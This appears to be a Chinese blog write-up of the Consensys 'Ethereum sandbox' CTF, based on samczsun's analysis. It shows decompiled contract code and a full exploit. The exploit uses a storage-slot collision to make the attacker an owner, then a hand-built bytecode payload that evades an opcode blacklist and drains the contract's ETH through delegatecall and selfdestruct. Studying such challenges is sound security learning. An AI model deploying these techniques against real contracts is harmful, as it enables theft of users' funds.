Consensys CTF

首页 » 名家观点 » Consensys CTF

基于 samczsun 的解析文章学习

分析原文:

本文都是基于 https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析,如有需要可以参考原文。

问题描述:

Consensys 在如下地址 0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a 部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有 ETH。

问题分析:

由于拿到的只是二进制代码,需要我们进行逆向得到 solidity 源码。故第一步是借助工具,将二进制代码翻译成可读的 opcode 代码和 solidity 代码。这里我们使用 https://contract-library.com/ 网站帮助分析。

源码分析

将对应的地址传入该网站后,我们可以看到其是一个典型的 solidity 源码反编译后的结构,首先是函数选择区(针对 public,external 函数)如下。一共有 4 个函数。

    if (0x25e7c27 == function_selector) {  
        owners(uint256);  
    } else if (0x2918435f == function_selector) {  
        0x2918435f();  
    } else if (0x4214352d == function_selector) {  
        0x4214352d();  
    } else if (0x74e3fb3e == function_selector) {  
        0x74e3fb3e();  
    }  

再看到其的全局变量,一共有两个,分别在 slot0 和 slot1 的位置处。可以看到这两个全局变量都是 uint256[] 数组。

    uint256[] array_0; // STORAGE[0x0]  
    uint256[]_owners; // STORAGE[0x1]  

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有 ETH。

首先是函数 1:0x4214352d

    function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable {   
        require(msg.data.length - 4 >= 64);  
        assert(varg1 < array_0.length);  
        array_0[varg1] = varg0;  
    }  
    // 翻译一下  
    function set_array(uint256_value, uint256_key) public {  
        require(msg.data.length - 4 >= 64);  
        assert(_key < array_0.length);  
        array_0[_key] =_value;  
    }  

可以看到该函数主要是对 array_0 进行赋值,在赋值前检查了两项:

  • msg.data 的长度减去 4 之后要大于 64

    • msg.data = bytes4(函数签名) + bytes32(参数 1) + bytes32(参数 2)

    • 减去 4 的原因是函数签名的长度为 4

  • 要求 key 的值小于 array 的长度

再看函数 2:0x74e3fb3e

    function 0x74e3fb3e(uint256 varg0) public nonPayable {   
        require(msg.data.length - 4 >= 32);  
        assert(varg0 < array_0.length);  
        return array_0[varg0];  
    }  
    =>  
    function get_array(uint256_key) public view returns (uint256) {  
        require(msg.data.length - 4 >= 32);  
        assert(_key < array_0.length);  
        return array_0[_key];  
    }  

与 set_array 函数类似

再看函数 3:owners

    function owners(uint256 varg0) public nonPayable {   
        require(msg.data.length - 4 >= 32);  
        assert(varg0 <_owners.length);  
        return address(_owners[varg0]);  
    }  
    =>  
    function owners(uint256_key) public view returns (address) {  
        require(msg.data.length - 4 >= 32);  
        assert(_key <_owners.length);  
        return address(_owners[_key]);  
    }  

最后看函数 4:0x2918435f

    function 0x2918435f(address varg0) public payable {   
        require(msg.data.length - 4 >= 32);  
        v0 = v1 = 0;  
        v2 = v3 = 0;  
        while (v2 <_owners.length) {  
            assert(v2 <_owners.length);  
            if (msg.sender == address(_owners[v2])) {  
                v0 = v4 = 1;  
            }  
            v2 += 1;  
        }  
        require(v0);  
        MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);  
        EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);  
        v5 = v6 = 0;  
        while (v5 < varg0.code.size) {  
            if (v5 < varg0.code.size) {  
                break;  
            }  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000);  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000);  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000);  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000);  
            assert(v5 < varg0.code.size);  
            require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000);  
            v5 += 1;  
        }  
        v7, v8 = varg0.delegatecall().gas(msg.gas);  
        if (RETURNDATASIZE() != 0) {  
            v9 = new bytes[](RETURNDATASIZE());  
            v8 = v9.data;  
            RETURNDATACOPY(v8, 0, RETURNDATASIZE());  
        }  
        require(v7);  
    }  

可以看到函数 4 0x2918435f 比较复杂,简单分析函数 4 中有三层 require:

  1. 要求调用该函数的 msg.data 的长度,require(msg.data.length - 4 >= 32); 与之前的函数中类似

  2. 要求 msg.sender 是_owners 中的一员,通过一个 while 循环来循环检查所有的 Onwer 中成员,看是否满足 msg.sender==owner
    “` v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 <_owners.length) {
    assert(v2 <_owners.length);
    if (msg.sender == address(_owners[v2])) {
    v0 = v4 = 1;
    }
    v2 += 1;
    }
    require(v0);
    => 翻译一下:
    bool permit = false;
    uint256 i = 0;
    while (i <_owners.length) {
    assert(i <_owners.length);
    if (msg.sender == address(_owners[i])) {
    permit = true;
    }
    i += 1;
    }
    require(permit);

3. 要求作为传入参数的地址 addr,逐字节检查该参数地址对应的代码,要求其中不含有 0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff 等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode, delegatecall, staticcall, selfdestruct.

这部分对应的代码比较复杂,我们将对比 opcode,逐字翻译
```    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);  
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);  

首先我们看黄皮书中关于 EXTCODECOPY 中的定义:

可以看到 EXTCODECOPY,拿 4 个参数,返回 0 个参数。简单解释是将栈里第 0 个元素-合约地址对应的代码段,设置偏移量为栈中第 2 个元素的值,拷贝的长度为栈里第 3 个元素对应的值,拷贝到的目的地为内存中栈里第 1 个元素对应的值的位置。


“` MEM[64] = MEM[64] + (addr.code.size + 32 + 31 & ~0x1f)
EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
=>
EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size)
=>
bytes memory code;
uint256 size;
assembly {
code := mload(0x40) //0x40=64, code=0x80
size := extcodesize(addr)
mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) // 新的自由内存指针
mstore(code, size) // 在 0x80 地方存储 codesize
extcodecopy(addr,add(code, 0x20),0,addr.code.size) // 把 extcode 全部拷贝到内存 0xa0 处
}

在看 while 循环:
```    v5 = v6 = 0;  
    while (v5 < varg0.code.size) {  
        if (v5 < varg0.code.size) {  
            break;  
        }  
        assert(v5 < varg0.code.size);  
    =>  
    uint256 i = 0;  
    while (i < addr.code.size) {  
        assert(i < addr.code.size)  
    }  

    require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);  
    =>  
     ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000  
    MEM[0x40] = 0x80  
    0x80 处存储的是 code 的 size,长度为 0x20;具体的代码从 0x80+0x20 处开始存储。  
    MEM[0x20 + 0x80 + i] 实际读取的是 MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这 32 位字节向右移动 248bit,再向左移动 248bit,即去掉最右侧 248bit, 再和 0x110000... 取 AND,最后得到的结果与 0xf0... 对比。  
    实际效果是每一位都对比,不能等于 0xf0,0xf1,0xf2 等  
    =>  
    for (uint256 i=0; i < code.length; i++) {  
        require(code[i] != 0xf0);//Create  
        require(code[i] != 0xf1);//CALL  
        require(code[i] != 0xf2);//CALLCODE  
        require(code[i] != 0xf4);//DELEGATECALL  
        require(code[i] != 0xfa);//STATICCALL  
        require(code[i] != 0xff);//SELEFDESTRUCT      
    }  

问题分析-1

简单看,我们需要调用函数 4,0x2918435f 因为其含有 delegatecall, 可以执行我们想要的代码来获取该合约所有的 ETH。

但是其要满足三个条件,尤其是第二个条件限制了 msg.sender 必须是 owner 数组中的一员。故我们需要先把 msg.sender 放到 owner 数组中。但是给定的函数中,并没有直接设置 owner 数组的,唯有一个设置 array 数组的函数:set_array(_key,_value). 故需要思考,能否通过 set_array 函数来改变 owner 数组中的值。

这里需要一个背景知识,即数组是如何再 solidity 中存储的。

在 solidity 中,动态数组在 storage 中存储模式为:

  1. 动态数组声明处的 slot_A 存储的是该动态数组的长度

  2. 动态数组中的每一个元素存储的位置是 keccak256(slot_A)+i, 即动态数组事实上还是连续储存,但其第一个元素存储的位置是 keccak256(slot_A)

故在本题目中,由于 array 的长度被设置为 uint(-1), 故可以通过计算 array[0] 和 owner[0] 对应的 storage key 的差值,来通过 set_array 方法设置 owner 中的值。

    # make alice the owner   
    # array.length == uint(-1)  
    # array slot = 0, key0 = keccak256(0x00..00)  
    # array owner slot = 1, key1 = keccak256(0x00..01)  
    # delta = key1 - key0  
    # 通过设置 array 的偏移来设置 owner 中的值  
    # offset 的值为 delta  
    key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16)  
    key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)  
    delta = key1 - key0  
    ctf.setArray(alice.address,delta, {'from':alice})  

也可以部署一个 hacker.sol 来实现该目的

    contract Hacker {  
        address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A;  
        function step1() public {  
            bytes32 key0 = keccak256(abi.encode(0x00));  
            bytes32 key1 = keccak256(abi.encode(0x01));  
            uint256 delta = uint256(key1) - uint256(key0);  
            (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta));  
            require(success);  
        }  
    }  

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的 runtime code 中不含有 0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff 等字节,因此需要我们手动来写合约,然后通过该 sandbox 的第四个函数来 delegatecall 该合约,从而清空 sandbox 中的 ETH。

首先明确我们使用 create2, 其为 0xf5, 我们可以首先看下黄皮书中关于 create2 的定义

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的 runtime code 中执行一个 create2 函数,创建一个临时合约,并将上下文环境中的 address(this) 里的全部 ETH 都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行 selfdestruct(tx.orgin) 函数来将所有的 ETH 转移给合约部署人。

先用 opcode 来写 runtime code:

    //tx.origin 这里的 ORIGIN 是 payload,不应该被执行,故需要改为 push1 0x32  
    //SELFDESTRUCT // 构造 payload, 因为 SELFDESTRUCT 是 0xff,不能被使用,故可以通过 ADD 来绕道实现  
    push2 0x32fe // 0x32fe  
    push1 0x01 // 0x32fe 0x01  
    ADD // 0x32ff   
    push1 0x40 //0x32ff 0x40  
    mstore // 构造 payload 0x40 -> 0x32ff,   
    push1 00//Us[3] -> salt 盐  
    push1 0x04//Us[2] -> length 长度 4  
    push1 0x3e//us[1] -> offset 偏移值 -> 内存中 0x40+0x20-0x2=0x3e  
    ADDRESS  
    BALANCE //Us[0] -> ETH 数量-> 应该是该 address(this) 的所有 ETH  
    create2  
    =>  
    6132fe60010160405260006004603e3031f5  

在写该合约的初始化代码,可以用 solidity 写了,因为是我自己执行来部署该 runtime code

    contract HackCTF{  
        constructor() public payable{  
            assembly{  
                mstore(0x00, 0x6132fe60010160405260006004603e3031f5)  
                return(0x0e, 0x12)  
            }  
        }  
    }  

然后部署 HackCTF 合约,在调用 ctf 中的第四个函数,将该合约的地址作为参数传进去即可

    hacker = HackCTF.deploy({"from":alice})  
    ctf.hack(hacker, {'from':alice})  
    print(alice.balance())  

Consensys CTF - " 以太坊沙盒 "

0 0 投票数
文章评分
订阅评论
提醒
guest
0 Comments
内联反馈
查看所有评论
0
希望看到您的想法,请发表评论。x
()
x